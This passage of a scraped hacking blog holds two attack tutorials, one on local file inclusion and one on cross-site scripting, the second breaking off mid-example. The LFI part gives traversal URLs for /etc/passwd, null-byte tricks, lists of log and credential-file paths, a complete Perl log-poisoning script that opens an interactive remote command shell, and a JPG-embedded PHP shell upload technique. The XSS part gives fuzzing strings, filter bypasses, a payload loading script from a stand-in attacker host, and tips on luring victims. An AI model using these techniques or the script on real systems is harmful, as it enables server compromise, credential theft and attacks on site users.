text-decoration: none;">victim.com/test.php</a> you will have to type<a href="http://victim.com/test/index.php?page=../test.php" style="color: #3778cd; text-decoration: none;">victim.com/test/index.php?page=../test.php</a> . The ../ is called directory<br />transversal using that will allow you to go up in the directories.<br /><br />Now that we can go up and down thru the server let's use it to access files that we are not supposed to. If this was hosted in a Unix server we can then possibly view the password file of the server, to do this you will have to type something like this (the nr of ../ may vary depending of where the vulnerable file is):<br /><br />Quote:<br /><a href="http://victim.com/index.php?page=../../../../../../../etc/passwd" style="color: #3778cd; text-decoration: none;">victim.com/index.php?page=../../../../../../../etc/passwd</a><br />If you don't know what to do with the content of etc/passwd then continue reading! :puah[1]: The etc/passwd is where the users/passwords are stored, a non shadowed passwd file will look like this:<br /><br />Quote:<br />username: passwd:UID:GID:full_name:directory:shell<br />For example:<br /><br />Quote:<br />username:kbeMVnZM0oL7I:503:100:FullName:/home/username:/bin/sh<br />All you need to do then is grab the username and decode the password. If the passwd file is shadowed then you'll see something like this:<br /><br />Quote:<br />username:x:503:100:FullName:/home/username:/bin/sh<br />As you can see the password is now a x and the encoded password is now in /etc/shadow (you will probably not have access to etc/shadow because is only readable/writeable by root and etc/passwd has to be readable by many<br />processes, thats why you have access to it).<br />You can also sometimes see something like this:<br /><br />Quote:<br />username:!:503:100:FullName:/home/username:/bin/sh<br />The ! indicates that the encoded password is stored in the etc/security/passwd file.<br />Heres a couple of places that may be interesting to "visit":<br /><br /><br />
Quote:<br />
<div class="command"><code class="prettyprint">/etc/passwd<br />/etc/shadow<br />/etc/group<br />/etc/security/group<br />/etc/security/passwd<br />/etc/security/user<br />/etc/security/environ<br />/etc/security/limits<br />/usr/lib/security/mkuser.default</code></div>You will probably need to google for it as this is not the right tutorial to it.<br />Just one more quick thing, its also common to find a vulnerable code like:<br /><br />
PHP Code:<div class="command"><code class="prettyprint">$page = $_GET["page"];<br />include("$page.php");<br />?></code></div>In this case as you can see it will add a .php in the end of whatever you include! So if you type in your browser:<br /><a href="http://victim.com/index.php?file=../../../../../../../../etc/passwd" style="color: #3778cd; text-decoration: none;">victim.com/index.php?file=../../../../../../../../etc/passwd</a><br /><br />it will retrieve:<br /><a href="http://victim.com/index.php?file=../../../../../../../../etc/passwd" style="color: #3778cd; text-decoration: none;">victim.com/index.php?file=../../../../../../../../etc/passwd</a><b>.php</b> that file don't exist, and you will see an error message, so you need to apply the null byte ():<br /><br /><a href="http://victim.com/index.php?file=../../../../../../../../etc/passwd" style="color: #3778cd; text-decoration: none;">victim.com/index.php?file=../../../../../../../../etc/passwd</a><b></b><br /><b></b><br />With the null byte the server will ignore everything that comes after .<br />There are other ways to use the LFI exploit, so continue reading, the REALLY fun is about to begin! :jeerat.gif<br />We will now gonna try to run commands on the server, we will do this by injecting php code in the httpd logs and then access them by the LFI! To do this first find out where the logs are stored, here is some locations that may be useful to you:<br /><br /><br />
Quote:<br/><div class="command"><code class="prettyprint"><br />
../apache/logs/error.log<br />../apache/logs/access.log<br />../../apache/logs/error.log<br />../../apache/logs/access.log<br />../../../apache/logs/error.log<br />../../../apache/logs/access.log<br />../../../../../../../etc/httpd/logs/acces_log<br />../../../../../../../etc/httpd/logs/acces.log<br />../../../../../../../etc/httpd/logs/error_log<br />../../../../../../../etc/httpd/logs/error.log<br />../../../../../../../var/www/logs/access_log<br />../../../../../../../var/www/logs/access.log<br />../../../../../../../usr/local/apache/logs/access_log<br />../../../../../../../usr/local/apache/logs/access.log<br />../../../../../../../var/log/apache/access_log<br />../../../../../../../var/log/apache2/access_log<br />../../../../../../../var/log/apache/access.log<br />../../../../../../../var/log/apache2/access.log<br />../../../../../../../var/log/access_log<br />../../../../../../../var/log/access.log<br />../../../../../../../var/www/logs/error_log<br />../../../../../../../var/www/logs/error.log<br />../../../../../../../usr/local/apache/logs/error_log<br />../../../../../../../usr/local/apache/logs/error.log<br />../../../../../../../var/log/apache/error_log<br />../../../../../../../var/log/apache2/error_log<br />../../../../../../../var/log/apache/error.log<br />../../../../../../../var/log/apache2/error.log<br />../../../../../../../var/log/error_log<br />../../../../../../../var/log/error.log<br /></code></div>Ok, now that you know where the logs are take a look at them and see what they store, at this example we will use a log that stores the "not found files" and the php code . You will then type at your browser <a href="http://victim.com/" style="color: #3778cd; text-decoration: none;">victim.com/</a> and the php code will be logged because it "dosen't exist".<br /><br />This possibly won't work because if you go look into the log you will probably see the php code like this:<br /><br />Quote:<br />%3C?%20passthru(\$_GET[cmd])%20?><br />because your browser will url encode the whole thing! So you'll need to use something else, if you don't have a script of your own you can use this perl script i've wrote:<br /><br />
Code:<br /><div class="command"><code class="prettyprint"><br />
#!/usr/bin/perl -w<br />use IO::Socket;<br />use LWP::UserAgent;<br />$site="<b><a href="http://victim.com/" style="color: #3778cd; text-decoration: none;">victim.com</a></b>";<br />$path="<b>/folder/</b>";<br />$code="";<br />$log = "<b>../../../../../../../etc/httpd/logs/error_log</b>";<br />print "Trying to inject the code";<br />$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "\nConnection Failed.\n\n";<br />print $socket "GET ".$path.$code." HTTP/1.1\r\n";<br />print $socket "User-Agent: ".$code."\r\n";<br />print $socket "Host: ".$site."\r\n";<br />print $socket "Connection: close\r\n\r\n";<br />close($socket);<br />print "\nCode $code sucssefully injected in $log \n";<br />print "\nType command to run or exit to end: ";<br />$cmd = <u></u>;<br />while($cmd !~ "exit") {<br />$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "\nConnection Failed.\n\n";<br />print $socket "GET ".$path."<b>index.php=</b>".$log."&cmd=$cmd HTTP/1.1\r\n";<br />print $socket "Host: ".$site."\r\n";<br />print $socket "Accept: */*\r\n";<br />print $socket "Connection: close\r\n\n";<br />while ($show = <$socket>)<br />{<br />print $show;<br />}<br />print "Type command to run or exit to end: ";<br />$cmd = <u></u>;<br />}<br /></code></div>Copy/paste that, save it as <a href="http://whatever.pl/" style="color: #3778cd; text-decoration: none;">whatever.pl</a> and change what is in <b>bold</b> accordingly to your victim site. If the vulnerable code is in <a href="http://victim.com/main/test.php" style="color: #3778cd; text-decoration: none;">victim.com/main/test.php</a> you should change the /folder/ to /main/ , index.php= to test.php= and the ../../../../../../../etc/httpd/logs/error_log to where the log is at!<br /><br />That script will inject the code and then will ask you for a command to run on the server! You know what to do now! :secret.gif<br />Last but not least we will take a look on how to use the avatar/image upload funtion found in a lot of web aplications.<br />You possibly have seen this in the "Local JPG Shell injection video" at milw0rm, but the best part here that was not mentioned is that the web aplication DOES N'T need to be installed on your victim website!<br /><br />This is a quick explanation, for a better understanding you can view the video at<u><a href="http://www.anonym.to/?http://www.milw0rm.com/video/watch.php?id=57" style="color: #3778cd; text-decoration: none;">http://www.milw0rm.com/video/watch.php?id=57</a></u><br />You need to "insert" the php code you want to execute inside the image, to do this you'll need to use your favorite hex editor or you can use the <u>edjpgcom download</u><a href="http://www.anonym.to/?http://software.security-shell.com/index.php?dir=&file=edjpgcom.zip" style="color: #3778cd; text-decoration: none;">http://software.security-shell.com/i...e=edjpgcom.zip</a>program (all you need to do is right click on the image, open with..., then select the edjpgcom program and then just type the code). Ok now that you have your shell in the image all you need to do is upload it! If your <a href="http://victim.com/" style="color: #3778cd; text-decoration: none;">victim.com</a> has a forum or something else that allows you to upload great, if not check if its in a shared hosting, if so do a reverse lookup on it!<br /><br />Now that you have a list of potential sites that may have a forum or something else that allows you to upload your image all you need to do is take some time to browse thru them until you find one!<br /><br />After you found one and have uploaded your image here is tricky part, you'll need to "create" an error on it (in order to find the server path to it)! Try per example create an mysql error and you will get something like this:<br /><br />Quote:<br />Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in <b>/home/sitefolder/public_html/</b>includes/view.php on line 37<br />If you can't force an error go back to the etc/passwd file:<br /><br />Quote:<br />username:kbeMVnZM0oL7I:503:100:FullName:<b>/home/username</b>:/bin/sh<br />As you can see the username is also the directory name, most of the times the name is similar to the domain name, but if not the case you'll have to try them until you find the one you're looking for!<br /><br />Go to your avatar image right click on it and then properties (write down the path to it), you'll now all set up.<br />In your browser type this (again, the nr of ../ may vary):<br /><br />Quote:<br /><a href="http://victim.com/home/" style="color: #3778cd; text-decoration: none;">victim.com/index.php=../../../../../../../../../home/</a><b>the_other_site_dir</b>/public_html/<b>path_to_your_avatar</b>/avatar.jpg<br />In order "words" should look like this (using fictitious "names"):<br /><br />Quote:<br /><a href="http://victim.com/home/arcfull/public_html/forum/uploads/avatar.jpg" style="color: #3778cd; text-decoration: none;">victim.com/index.php=../../../../../../../../../home/arcfull/public_html/forum/uploads/avatar.jpg</a><br />After you type this you will see the result of the code inserted in the image!</span></span><br /><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><br /></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><span id="2238877135876300672"><span style="color: red;">Note:<a href="http://www.cloudscan.me/p/local-file-inclusion-lfi-information.html" target="_blank">For further reading.</a></span> </span></span></div></div>-- <br /><br />
<div dir="ltr">Regards,<br /><br />
Hardeep Singh<br /><br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br /></div>

LFI Step by Step guide for LFI (Local File Inclusion): The process of exploiting a website

This tutorial will guide you into the process of exploiting a website thru the LFI (Local File Inclusion). First lets take a look at a ph...

XSS Tutorial - From Bug to Vulnerability

9/30/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilnLrCbj52Zi4eVTNd2CfXJyihcDRH0M9vHKMhHitztuI_SU5xp8_O0rdKfvfcr2QuCzUHBPJrVuW_-XlCEKZA6uTMwv_oBVI8CyocC805Toht9A0JXX4h8Zhrfy55Vv_3WhKUyGvxd3T3/s1600/XSS+cross+site+scripting+vulnerability.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="182" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilnLrCbj52Zi4eVTNd2CfXJyihcDRH0M9vHKMhHitztuI_SU5xp8_O0rdKfvfcr2QuCzUHBPJrVuW_-XlCEKZA6uTMwv_oBVI8CyocC805Toht9A0JXX4h8Zhrfy55Vv_3WhKUyGvxd3T3/s400/XSS+cross+site+scripting+vulnerability.gif" width="400" /></a></div>
<div id="post_message_8389" style="margin: 0px; padding: 0px;">
<br />
Dear fellow members of RAH-Labs<br />
<br />
<br />
This tutorial was originally meant only for DeadHackers as an exclussive guide,<br />
however after they have changed their site multiple times I thought that<br />
I would post it here before it might get removed since this guide took a lot<br />
of time to create. (almost a whole day at work)<br />
<br />
This tutorial does NOT contain actual attack code so you'll have to make that up yourself.<br />
<br />
<b>___ -:: Introduction ::- ____________</b><br />
<b>What is <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym> and what does it refer to?</b><br />
<acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym> aka Cross Site Scripting is a client-side attack where an attacker creates a malicious link,<br />
containing script- code which is then executed within the victim's browser. The script-code<br />
can be any language supported by the browser but mostly HTML and Javascript is used along<br />
with embedded Flash, Java or ActiveX.<br />
<br />
<b>What can Cross Site Scripting be used for?</b><br />
Cross Site Scripting can be used for a variety of things, such as session-hijacking, browser<br />
attacks, phishing, propaganda and even worms! However it still requires the victim to click<br />
a malicious link created by the attacker.<br />
<br />
<b>How could One get a victim to click a <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>-link?</b><br />
The easiest way to get people to click malicious links is to make them look authentic and non-<br />
malicious. Giving them a reason afterwards is the social-engineering part which should be easy<br />
except if the victim is aware of such attacks and / or has measures against Cross Site Scripting, such as NoScript.<br />
<br />
<b>How does One avoid <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>-links looking suspicious?</b><br />
This is typically done with encoding, short url services, redirects and even flash!<br />
<br />
<b>Which types of Cross Site Scripting are there?</b><br />
The most common types are GET- and POST-based <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>. However Cross Site Scripting can also<br />
be triggered via cookies. Some individuals claims that <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym> can also be divided into persistent and<br />
non-persistent but those types are also and should be refered to as injection which is a different<br />
class of bugs / vulnerabilities.<br />
<br />
<b>What is the difference between GET- and POST-<acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>?</b><br />
The difference is that when GET-variables is used it is possible to conduct normal <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym> attacks<br />
where an attacker sends a malicious crafted URL to the victim which is then executed when<br />
the victim opens the link in the browser.<br />
<br />
With POST-variables an attacker could f.ex. use flash to send the victim to the POST-<acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym><br />
vulnerable site since it is not possible to create a URL when POST-variables are in use.<br />
<br />
<b>Are there sub-categories of Cross Site Scripting?</b><br />
At the moment there's XSSR and <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site SQL Injection">XSSQLI</acronym>. One could say that <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Request Forgery">XSRF</acronym>/<acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Request Forgery">CSRF</acronym> belongs to the same<br />
category, however the attack method differs too much from traditional Cross Site Scripting.<br />
XSSR or CSSR aka Cross Site Script Redirection is used to redirect a victim to another page<br />
unwillingly. The page can for example contain a phishing template, browser attack code or in<br />
some cases where the data or javascript URI scheme is used: session-hijacking. <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site SQL Injection">XSSQLI</acronym> is a<br />
mix of Cross Site Scripting and SQL Injection, where an unknowing victim clicks a malicious link<br />
containing SQL Injection instructions for an area in the website which requires privileges that<br />
guests or members doesn't have. <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Request Forgery">XSRF</acronym> or <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Request Forgery">CSRF</acronym> (sometimes refered to as C-Surf) stands for<br />
Cross Site Request Forgery which is used to send input from a 3rd party site to the target site.<br />
<acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Request Forgery">XSRF</acronym> can in some cases be triggered just by viewing a specially crafted image but the most<br />
commonly used are URLs. With Cross Site Request Forgery it might be possible to f.ex. alter<br />
the password of the victim if the target site is not secured properly with tokens etc.
<br />
<b>Process  of XSS</b><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhluG-qQfX_GnjTTrb7bLHf4MtfOCLJHzkFaDXG19fuYeh-sGs3t0qsIH7VBucNJLLFcA7nWzUaQtP2yA6A23kseGNFS6IWnz7_H1P9nrqkXdvdtdB9lJ29ICF9JHalo1JzW4HhTZr6FVH9/s1600/xss_how.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="380" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhluG-qQfX_GnjTTrb7bLHf4MtfOCLJHzkFaDXG19fuYeh-sGs3t0qsIH7VBucNJLLFcA7nWzUaQtP2yA6A23kseGNFS6IWnz7_H1P9nrqkXdvdtdB9lJ29ICF9JHalo1JzW4HhTZr6FVH9/s640/xss_how.png" width="640" /></a></div>
<b> </b> <br />
<br />
<b>What is XST and can it be used for anything?</b><br />
XST also known as Cross Site (Script) Tracing is a way of abusing the HTTP Trace (Debug)<br />
protocol. Anything that an attacker sends to a web-server that has TRACE enabled will send<br />
the same answer back. If an attacker sends the following:<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 60px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">TRACE / HTTP/1.0     Host: target.tld     Custom-header: <script>alert(0)</script></pre>
</div>
Then the attacker will receive the same "Custom-header: <scr..." back allowing script execution.<br />
However after recent browser updates the following year(s) XST has been increasingly harder to<br />
control and execute properly.<br />
<br />
<b>How is it possible to find <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym> bugs within websites?</b><br />
There are 2 methods: code / script auditing or fuzzing which is described below.<br />
<br />
<b>What kind of tools is required to find <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym> bugs?</b> (REQ = Required, OPT = Optional)<br />
- REQ: An Internet Browser (such as FireFox) in case you're fuzzing.<br />
- REQ: A text-viewer (such as notepad) in case you're auditing.<br />
- OPT: An intercepting proxy in case you're doing more advanced <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>. (In FireFox it is possible to use Tamper Data).<br />
- OPT: Browser Addons, for FireFox the following are especially useful: Firebug, JSView and LiveHTTP Headers.<br />
<br />
<b>What else is useful to know if One wants to find <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym> bugs?</b><br />
- Browser limitations regarding Cross Site Scripting [1]<br />
- HTTP Headers and how the HTTP protocol works.<br />
- HTML + Javascript and perhaps embedded script attacks. (flash etc.)<br />
- Intercepting proxies (Burp etc.), differential tools (meld, ExamDiff, etc.)<br />
- Useful browser-addons (see FireCat [3])<br />
- Website scanners (Nikto, W3AF, Grendel, Directory-fuzzers etc.)<br />
<br />
<b>Where is <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>-bugs typically located?</b><br />
It is usually located in user submitted input either via GET or POST variables, where it is reflected on<br />
the target site as text outside tags, inside tag values or within javascript. It can also in some cases<br />
be submitted via cookies, http headers or in rare cases file uploads.<br />
<br />
<b>How does One protect a site against <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>?</b><br />
The best way is to ensure that all user input and output is validated properly. However in some cases<br />
an IPS or WAF can also protect against <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym> though the best way is still to validate the user-input and -output properly.<br />
<br />
<b>___ -:: Finding the Bug - With Fuzzing ::- ____________</b>

<br />
<b>[EASY] Example Case - A:</b>
<br />
We're at <a href="http://buggysite.tld/">http://buggysite.tld/</a> where we see a "Search-field" in the top-right. Since we don't know the<br />
real source code but only the HTML-output of the site we will have to fuzz anything where it is possible<br />
to submit data. In some cases the data will be reflected on the site and in some cases it wont. If it doesn't<br />
we move on to the next cookie, header, get / post variable or whatever it is that we are fuzzing.<br />
<br />
The most effective way to fuzz is not to write: <script>alert(0)</script> since many sites has different<br />
precautions against Cross Site Scripting. Instead we create a custom string which in most cases wont<br />
trigger anything that might alter the output of the site or render error pages that aren't vulnerable.<br />
<br />
An example of an effective string could be: "keyword'/\><<br />
<br />
" ' /\ > and < are the most commonly used html characters used in Cross Site Scripting. However if we want<br />
to be really thorough then we could also add )(][}{% to the string that we are using to fuzz the target site.<br />
<br />
The reason why there's not two of " or ' is because this can trigger a WAF, IPS or whatever precaution the site<br />
might have tried to implement against <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym> instead of using a secure coding scheme /plan / development cycle.<br />
The reason why all characters are written as >< instead of <> is because this is a common bypass against <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>-filters!<br />
<br />
With that in mind, we use the following string: "haxxor'/\>< to fuzz the search-field:<br />
<br />
Lets take a look at the returned HTML-code:<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
HTML Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">...     <span style="color: #ff8000;"><input type=<span style="color: blue;">"text"</span> name=<span style="color: blue;">"search"</span> value=<span style="color: blue;">"<b><i>&quot;</i></b>haxxor'/\<b><i>&gt;</i></b><b><i>&lt;</i></b>"</span> /></span> <span style="color: navy;"><br /></span> You searched for \"haxxor\'/\\>< which returned no results.     ...</pre>
</div>
As we can see the input tag encoded our fuzzing string correct, however the text afterwards did not encode it<br />
properly as it only added slashes which is completely useless against Cross Site Scripting in this case.<br />
<br />
By submitting the following string we can <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym> their website: <script>alert(0)</script> or perhaps <script src=<a href="http://h4x0r.tld/xss.js">http://h4x0r.tld/xss.js</a>></script><br />
<br />
Of course we don't know if the following characters : ( ) and . are filtered but in most cases they work.<br />
<br />
Our final <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>-url could be: <a href="http://buggysite.tld/search.php?query=%3Cscript%3Ealert%280%29%3C/script%3E">http://buggysite.tld/search.php?query=<script>alert(0)</script></a><script>alert(0)</script> if GET-variables are used.<br />
<br />
<br />
<b>[EASY] Example Case - B:</b><br />
We're at <a href="http://yetanothersite.tld/">http://yetanothersite.tld/</a> where we see another search formular.<br />
<br />
The following is returned after our string is submitted to the search field:<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
HTML Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">...     <input type="text" name="search" value="\"haxxor\'/\\><span style="color: navy;"><" /></span> <span style="color: navy;"><br /></span> You searched for <b><i>&quot;</i></b>haxxor'/\<b><i>&gt;</i></b><b><i>&lt;</i></b> which returned no results.     ...</pre>
</div>
In this case the string after the tag encoded the string properly, however the string inside the tag only had some<br />
slashes added which does nothing in this case. Basically we can bypass this easily with: "><script>alert(0)</script><br />
<br />
If we're going to load external javascript we will have to avoid using " and ' of course.<br />
<br />
Our final <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>-url could be: <a href="http://yetanothersite.tld/search.php?query=%22%3E%3Cscript%3Ealert%280%29%3C/script%3E">http://yetanothersite.tld/search.php?query="><script>alert(0)</script></a> if GET-variables are used.<br />
<br />
<b>[MODERATE] Example Case - C:</b><br />
We're at <a href="http://prettysecure.tld/">http://prettysecure.tld/</a> where we find yet another search field, it's time to submit our fuzzing string.<br />
<br />
The following HTML-code is returned after our string is submitted:<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
HTML Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">...     <span style="color: #ff8000;"><input type=<span style="color: blue;">"text"</span> name=<span style="color: blue;">"search"</span> value=<span style="color: blue;">"<b><i>&quot;</i></b>haxxor'/\<b><i>&gt;</i></b><b><i>&lt;</i></b>"</span>></span> You searched for "<b><i>&quot;</i></b>haxxor'/\<b><i>&gt;</i></b><b><i>&lt;</i></b>" which returned no results.     ... (further down)     <span style="color: maroon;"><script></span>     ...     s.prop1="prettysecure";     s.prop2="\"haxxor%39/\%3E%3C";     s.prop3="adspace";     ...     <span style="color: maroon;"></script></span></pre>
</div>
For most people this might look secure but it really isn't. A lot of people also overlooks potential Cross Site Scripting<br />
vectors if their string <script>alert(0)</script> is either not output directly or encoded where they expect the <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym><br />
bug to be. This is why it is important to use a keyword that doesn't exist on the site, such as haxxor or something<br />
better. The reason why a keyword is used is because it is searchable almost always, you can call it a <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>-locator. [1]<br />
<br />
Anyway, back to our example. s.prop2="\"haxxor%39/\%3E%3C"; looks secure but the flaw is that backspace aka \ is not<br />
filtered or encoded correct. So if we write: \" it will become \\", which will escape the first \ but not our quote.<br />
As you can see, we can't use tags either so we'll have to do something else.<br />
<br />
We have of course checked that brackets ( ) are NOT filtered. (in some cases they can be).<br />
<br />
By entering the following string we are able to create an alert box: \"; alert(0); s.prop500=\"<br />
This will become: s.prop2=\\"; alert(0); s.prop500=\\" when we submit the string. The reason why we add the s.prop500=\"<br />
variable to our string is because the javascript will most likely NOT execute if we don't. We could also use comments so instead<br />
of s.prop500=\" we just use // in the end of the string.<br />
<br />
In this case it is also possible to execute external javascript if One uses a bit more advanced javascript.<br />
In order to do this we can use document.write(String.fromCharCode()); where you will need a decimal converter.<br />
<br />
Our final <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>-url could be: <a href="http://prettysecure.tld/search.php?query=%5C">http://prettysecure.tld/search.php?query=\</a>"; alert(0); s.prop500=\"<br />
<br />
<b>___ -:: Finding the Bug - With Auditing ::- ____________</b><br />
<b>[EASY] Example Case - A:</b><br />
<br />
The following file (index.php) has some interesting code:<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
PHP Code:</div>
<div class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-size: 12px; height: 96px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">
<code style="font-family: monospace; line-height: 12px; margin: 0px; padding: 0px;"><code style="font-family: monospace; line-height: 12px; margin: 0px; padding: 0px;"><span style="color: black;"><span style="color: #0000bb;">    </span><span style="color: #007700;">...<br />    if(</span><span style="color: #0000bb;">$_GET</span><span style="color: #007700;">[</span><span style="color: #dd0000;">'view_profile'</span><span style="color: #007700;">]==</span><span style="color: #0000bb;">1</span><span style="color: #007700;">) {<br />    echo </span><span style="color: #0000bb;">$_GET</span><span style="color: #007700;">[</span><span style="color: #dd0000;">'name'</span><span style="color: #007700;">];<br />    ... (</span><span style="color: #0000bb;">more code</span><span style="color: #007700;">)<br />    }<br />    ...  </span><span style="color: #0000bb;"></span></span></code></code></div>
</div>
By looking at the above code we can see that if view_profile is equal to 1 then the script prints the "name" variable.<br />
An example attack URL could look like: <a href="http://testz.tld/index.php?view_profile=1&name=">http://testz.tld/index.php?view_profile=1&name=</a><script>alert(0)</script><br />
<br />
<b>[HARD] Example Case - B:</b><br />
<br />
The following file (search.php) has some interesting code:<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
PHP Code:</div>
<div class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-size: 12px; height: 96px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">
